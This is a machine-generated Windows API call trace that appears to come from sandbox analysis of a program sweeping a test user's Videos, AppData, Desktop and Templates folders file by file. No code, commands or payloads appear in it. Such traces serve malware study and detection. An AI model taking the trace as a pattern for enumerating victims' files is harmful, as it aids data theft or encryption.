FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0117.294] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de98 | out: hHeap=0x35b0000) returned 1 [0117.294] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.294] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.294] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.294] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0117.294] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.295] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.295] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.295] PathFindFileNameW (pszPath="") returned="" [0117.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77398870, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77398870, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77398870, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77398870, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b41b320, ftCreationTime.dwHighDateTime=0x1d4ce8f, ftLastAccessTime.dwLowDateTime=0x57b919d0, ftLastAccessTime.dwHighDateTime=0x1d4ccc1, ftLastWriteTime.dwLowDateTime=0x57b919d0, ftLastWriteTime.dwHighDateTime=0x1d4ccc1, nFileSizeHigh=0x0, nFileSizeLow=0x13f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4 Bc.flv", cAlternateFileName="4BC~1.FLV")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea682770, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0x76babf40, ftLastAccessTime.dwHighDateTime=0x1d4ca33, ftLastWriteTime.dwLowDateTime=0x76babf40, ftLastWriteTime.dwHighDateTime=0x1d4ca33, nFileSizeHigh=0x0, nFileSizeLow=0x182d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FKhUWfx-d 3P.mp4", cAlternateFileName="FKHUWF~1.MP4")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b606dd0, ftCreationTime.dwHighDateTime=0x1d4cbed, ftLastAccessTime.dwLowDateTime=0xade3f5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca1c, ftLastWriteTime.dwLowDateTime=0xade3f5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca1c, nFileSizeHigh=0x0, nFileSizeLow=0x1195, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MYQH9-tR9ltp09e.flv", cAlternateFileName="MYQH9-~1.FLV")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc37a52a0, ftCreationTime.dwHighDateTime=0x1d4d18b, ftLastAccessTime.dwLowDateTime=0x329455c0, ftLastAccessTime.dwHighDateTime=0x1d4d419, ftLastWriteTime.dwLowDateTime=0x329455c0, ftLastWriteTime.dwHighDateTime=0x1d4d419, nFileSizeHigh=0x0, nFileSizeLow=0x6fc6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oMZDvujBwo0QTetEg.mp4", cAlternateFileName="OMZDVU~1.MP4")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35ec8490, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x445aacc0, ftLastAccessTime.dwHighDateTime=0x1d4d1a1, ftLastWriteTime.dwLowDateTime=0x445aacc0, ftLastWriteTime.dwHighDateTime=0x1d4d1a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PO z8nOyg", cAlternateFileName="POZ8NO~1")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6184750, ftCreationTime.dwHighDateTime=0x1d4c77f, ftLastAccessTime.dwLowDateTime=0xa2493510, ftLastAccessTime.dwHighDateTime=0x1d4c65a, ftLastWriteTime.dwLowDateTime=0xa2493510, ftLastWriteTime.dwHighDateTime=0x1d4c65a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_Iy8x9AH9E4iyV", cAlternateFileName="_IY8X9~1")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6184750, ftCreationTime.dwHighDateTime=0x1d4c77f, ftLastAccessTime.dwLowDateTime=0xa2493510, ftLastAccessTime.dwHighDateTime=0x1d4c65a, ftLastWriteTime.dwLowDateTime=0xa2493510, ftLastWriteTime.dwHighDateTime=0x1d4c65a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_Iy8x9AH9E4iyV", cAlternateFileName="_IY8X9~1")) returned 0 [0117.295] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7b90 | out: hHeap=0x35b0000) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f20 | out: hHeap=0x35b0000) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147238 | out: hHeap=0x35b0000) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7b28 | out: hHeap=0x35b0000) returned 1 [0117.295] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7d98 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7e00 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7e68 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147550 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7ed0 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61475a8 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147600 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7f38 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147658 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7fa0 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61476b0 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147708 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7bf8 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dd60 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147188 | out: hHeap=0x35b0000) returned 1 [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6194728 | out: hHeap=0x35b0000) returned 1 [0117.296] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.296] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0117.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0117.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.296] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.296] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.296] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.296] PathFindFileNameW (pszPath="") returned="" [0117.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.297] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770fb8 | out: hHeap=0x35b0000) returned 1 [0117.297] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.297] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0117.297] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0117.297] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0117.297] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0117.297] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.297] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.297] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dd60 | out: hHeap=0x35b0000) returned 1 [0117.297] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.297] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.297] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\") returned="MnXmRfGpxPOeczS\\" [0117.297] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0117.297] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.297] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.297] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.297] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.297] PathFindFileNameW (pszPath="") returned="" [0117.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46011050, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x9c760530, ftLastAccessTime.dwHighDateTime=0x1d4cdd7, ftLastWriteTime.dwLowDateTime=0x9c760530, ftLastWriteTime.dwHighDateTime=0x1d4cdd7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.299] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770dd8 | out: hHeap=0x35b0000) returned 1 [0117.299] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46011050, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x9c760530, ftLastAccessTime.dwHighDateTime=0x1d4cdd7, ftLastWriteTime.dwLowDateTime=0x9c760530, ftLastWriteTime.dwHighDateTime=0x1d4cdd7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.299] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd8561f0, ftCreationTime.dwHighDateTime=0x1d4c626, ftLastAccessTime.dwLowDateTime=0x84672b50, ftLastAccessTime.dwHighDateTime=0x1d4cf89, ftLastWriteTime.dwLowDateTime=0x84672b50, ftLastWriteTime.dwHighDateTime=0x1d4cf89, nFileSizeHigh=0x0, nFileSizeLow=0x8374, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AWCJ.swf", cAlternateFileName="")) returned 1 [0117.299] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46dcda0, ftCreationTime.dwHighDateTime=0x1d4c790, ftLastAccessTime.dwLowDateTime=0xcba08f60, ftLastAccessTime.dwHighDateTime=0x1d4cde1, ftLastWriteTime.dwLowDateTime=0xcba08f60, ftLastWriteTime.dwHighDateTime=0x1d4cde1, nFileSizeHigh=0x0, nFileSizeLow=0x7c45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cPQuzY v_o s.bmp", cAlternateFileName="CPQUZY~1.BMP")) returned 1 [0117.299] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3709c0, ftCreationTime.dwHighDateTime=0x1d4ca19, ftLastAccessTime.dwLowDateTime=0xc14138f0, ftLastAccessTime.dwHighDateTime=0x1d4d564, ftLastWriteTime.dwLowDateTime=0xc14138f0, ftLastWriteTime.dwHighDateTime=0x1d4d564, nFileSizeHigh=0x0, nFileSizeLow=0xba04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e8jYy.bmp", cAlternateFileName="")) returned 1 [0117.299] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127c9e0, ftCreationTime.dwHighDateTime=0x1d4caa3, ftLastAccessTime.dwLowDateTime=0x5cb2ba10, ftLastAccessTime.dwHighDateTime=0x1d4cd7d, ftLastWriteTime.dwLowDateTime=0x5cb2ba10, ftLastWriteTime.dwHighDateTime=0x1d4cd7d, nFileSizeHigh=0x0, nFileSizeLow=0x12184, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JawS.mp4", cAlternateFileName="")) returned 1 [0117.299] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b265370, ftCreationTime.dwHighDateTime=0x1d4d358, ftLastAccessTime.dwLowDateTime=0x5e499ac0, ftLastAccessTime.dwHighDateTime=0x1d4d0bf, ftLastWriteTime.dwLowDateTime=0x5e499ac0, ftLastWriteTime.dwHighDateTime=0x1d4d0bf, nFileSizeHigh=0x0, nFileSizeLow=0x16b29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpbeM _K1sn_lkYkaR.xlsx", cAlternateFileName="JPBEM_~1.XLS")) returned 1 [0117.299] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e96490, ftCreationTime.dwHighDateTime=0x1d4d312, ftLastAccessTime.dwLowDateTime=0xee068fb0, ftLastAccessTime.dwHighDateTime=0x1d4c6d8, ftLastWriteTime.dwLowDateTime=0xee068fb0, ftLastWriteTime.dwHighDateTime=0x1d4c6d8, nFileSizeHigh=0x0, nFileSizeLow=0x15345, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ly7OJHzcLLYB H_Z.m4a", cAlternateFileName="LY7OJH~1.M4A")) returned 1 [0117.300] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1f0240, ftCreationTime.dwHighDateTime=0x1d4c8ba, ftLastAccessTime.dwLowDateTime=0x9af83c40, ftLastAccessTime.dwHighDateTime=0x1d4c89c, ftLastWriteTime.dwLowDateTime=0x9af83c40, ftLastWriteTime.dwHighDateTime=0x1d4c89c, nFileSizeHigh=0x0, nFileSizeLow=0x16e68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nIRMb.avi", cAlternateFileName="")) returned 1 [0117.300] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23c0590, ftCreationTime.dwHighDateTime=0x1d4d2f2, ftLastAccessTime.dwLowDateTime=0x44518c70, ftLastAccessTime.dwHighDateTime=0x1d4cbf8, ftLastWriteTime.dwLowDateTime=0x44518c70, ftLastWriteTime.dwHighDateTime=0x1d4cbf8, nFileSizeHigh=0x0, nFileSizeLow=0x6f75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q2iWyxqWtvZV30.mkv", cAlternateFileName="Q2IWYX~1.MKV")) returned 1 [0117.300] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93064e0, ftCreationTime.dwHighDateTime=0x1d4cb44, ftLastAccessTime.dwLowDateTime=0x7a44ebc0, ftLastAccessTime.dwHighDateTime=0x1d4ce36, ftLastWriteTime.dwLowDateTime=0x7a44ebc0, ftLastWriteTime.dwHighDateTime=0x1d4ce36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RynyhXN0v", cAlternateFileName="RYNYHX~1")) returned 1 [0117.300] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c794240, ftCreationTime.dwHighDateTime=0x1d4c820, ftLastAccessTime.dwLowDateTime=0x4d1bda30, ftLastAccessTime.dwHighDateTime=0x1d4c555, ftLastWriteTime.dwLowDateTime=0x4d1bda30, ftLastWriteTime.dwHighDateTime=0x1d4c555, nFileSizeHigh=0x0, nFileSizeLow=0x18209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xKt-nxaBrLKyf.m4a", cAlternateFileName="XKT-NX~1.M4A")) returned 1 [0117.300] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18907a0, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0x45a810c0, ftLastAccessTime.dwHighDateTime=0x1d4d153, ftLastWriteTime.dwLowDateTime=0x45a810c0, ftLastWriteTime.dwHighDateTime=0x1d4d153, nFileSizeHigh=0x0, nFileSizeLow=0x7a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEPqRnNSMkR2u9.pptx", cAlternateFileName="ZEPQRN~1.PPT")) returned 1 [0117.300] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18907a0, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0x45a810c0, ftLastAccessTime.dwHighDateTime=0x1d4d153, ftLastWriteTime.dwLowDateTime=0x45a810c0, ftLastWriteTime.dwHighDateTime=0x1d4d153, nFileSizeHigh=0x0, nFileSizeLow=0x7a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEPqRnNSMkR2u9.pptx", cAlternateFileName="ZEPQRN~1.PPT")) returned 0 [0117.300] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.300] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.301] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771120 | out: hHeap=0x35b0000) returned 1 [0117.301] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.301] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0117.301] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.301] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.301] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.301] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.301] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.301] PathFindFileNameW (pszPath="") returned="" 